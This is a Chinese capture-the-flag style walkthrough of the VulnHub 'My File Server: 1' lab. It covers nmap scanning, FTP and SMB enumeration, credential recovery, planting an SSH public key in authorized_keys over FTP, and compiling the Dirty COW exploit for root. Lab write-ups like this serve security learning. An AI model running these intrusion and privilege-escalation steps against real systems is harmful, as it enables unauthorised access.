zoukankan      html  css  js  c++  java
  • My File Server: 1

    靶机地址:https://www.vulnhub.com/entry/my-file-server-1,432/

    靶机难度:初级

    通过nmap获取靶机的ip地址:192.168.40.158

    nmap -sP 192.168.40.*

     获取靶机端口,开放了http,ssh,ftp,smb等其他服务

    nmap -sV -p- 192.168.40.158

    访问80端口,没有明显的发现,扫描目录发现了readme.txt

     访问页面,直接给了密码

    该靶机还开放了21端口,用ftp登录看一下有没有其他需要的信息,可以看到/pub/log有很多文件,但是无法下载

    ftp 192.168.40.158

    服务器还开放了smb服务,看一下smb服务有没有什么有用的信息。先用smbmap枚举目录名,只有smbdata有权限读写

    登录smbdata,看到的文件和之前用ftp登录的文件差不多一致,比之前多了一个sshd_config

    smbclient //192.168.40.158/smbdata

    把文件get下来,在secure文件最后面找到用户和密码

     

    尝试用ssh登录,但是需要密钥才能登录

    貌似没啥想法了,回想一下之前ftp是匿名登录,现在已经有了用户名smbuser,而且一开始网页给了密码rootroot1。那么再尝试一下用ftp登录

    成功登录,那么可以尝试伪造一对ssh的密钥,把公钥放到靶机上就可以实现免密登入

    ssh-keygen -t rsa

     用ftp上传公钥到靶机上

    mkdir ~/.ssh
    put /root/.ssh/id_rsa.pub ~/.ssh/authorized_keys

    再次尝试ssh登录,这次成功登录

     

    下一步就是提权了,看一下内核版本

    uname -a

     可以直接使用脏牛来进行提权

     

     将下载下来的脏牛用ftp上传到靶机的/tmp目录下

    put /root/40616.c /tmp/dirty.c

     用gcc编译,然后执行脏牛,成功获取root权限

    gcc -pthread dirty.c -o dirty -lcrypt

     

  • 相关阅读:
    Bootstrap(2)整体架构
    介绍 Microservice
    Websocket实例
    MYSQL-用户权限的验证过程(转)
    don't touch your phone in any unfamiliar way(转)
    你真的会玩SQL吗?Case的用法(转)
    android模拟器与PC的端口映射(转)
    Java Main如何被执行?(转)
    Linux crontab 命令格式与具体样例
    分享一个3D球面标签云
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/13937223.html
Copyright © 2011-2022 走看看